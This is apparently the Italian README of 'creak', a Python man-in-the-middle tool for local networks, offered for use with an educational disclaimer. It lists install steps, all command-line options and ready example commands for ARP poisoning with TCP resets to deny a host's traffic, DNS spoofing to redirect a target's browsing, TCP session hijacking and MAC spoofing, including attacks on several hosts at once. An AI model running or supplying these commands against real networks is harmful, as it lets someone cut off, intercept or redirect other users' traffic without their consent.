
Poison, reset, spoof, redirect script MITM
Esegue alcuni dei più famosi attacchi MITM su indirizzi target situati in una rete locale. Tra questi, negare le capacità di navigazione e download di un host target nella rete locale eseguendo un attacco ARP poison e inviando pacchetti TCP reset a ogni richiesta fatta al router. Nato come progetto didattico per imparare il linguaggio Python, declino ogni responsabilità per qualsiasi abuso, incluso l'uso malevolo o illegale di questo codice.
$ git clone https://github.com/codepr/creak.git
$ cd creak
$ python setup.py install
o semplicemente clona il repository ed esegui creak.py dopo aver installato tutti i requisiti:
$ git clone https://github.com/codepr/creak.git
È necessario avere installato le librerie pcap per la manipolazione dei pacchetti raw e il modulo dpkt, per le opzioni di dns spoofing è necessario aver installato il modulo dnet dal pacchetto libdnet, non confonderlo con il modulo pydnet (strumento di valutazione della rete). Può utilizzare anche scapy se desiderato, basta impostarlo nel file config alla sezione [output] > ENGINE.
Usage: creak.py [options] dev
Options:
-h, --help show this help message and exit
-1, --sessions-scan Sessions scan mode
-2, --dns-spoof Dns spoofing
-3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique)
-x, --spoof Spoof mode, generate a fake MAC address to be used
during attack
-m MACADDR Mac address octet prefix (could be an entire MAC
address in the form AA:BB:CC:DD:EE:FF)
-M MANUFACTURER Manufacturer of the wireless device, for retrieving a
manufactur based prefix for MAC spoof
-s SOURCE Source ip address (e.g. a class C address like
192.168.1.150) usually the router address
-t TARGET Target ip address (e.g. a class C address like
192.168.1.150), can be specified multiple times
-p PORT Target port to shutdown
-a HOST Target host that will be redirect while navigating on
target machine
-r REDIR Target redirection that will be fetched instead of host
on the target machine
-v, --verbose Verbose output mode
-d, --dotted Dotted output mode
Utilizzo più semplice: Nega tutto il traffico all'host target
$ python creak.py -t 192.168.1.30 wlan0
Imposta un gateway diverso:
$ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0
Imposta un indirizzo mac diverso per il dispositivo:
$ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0
Spoof dell'indirizzo mac generandone uno falso:
$ python creak.py -x -t 192.168.1.30 wlan0
Spoof dell'indirizzo mac generandone uno basato sul produttore (es. Xeros):
$ python creak.py -x -M xeros -t 192.168.1.30 wlan0
DNS spoofing usando un indirizzo MAC falso, reindirizzando ab.xy a cd.xz (es. localhost):
$ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0
Nega più host nella sottorete:
$ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0
Vedi il file CHANGELOG.
Scapy (iniziato)Vedi il file LICENSE per i diritti e le limitazioni della licenza (GNU v3).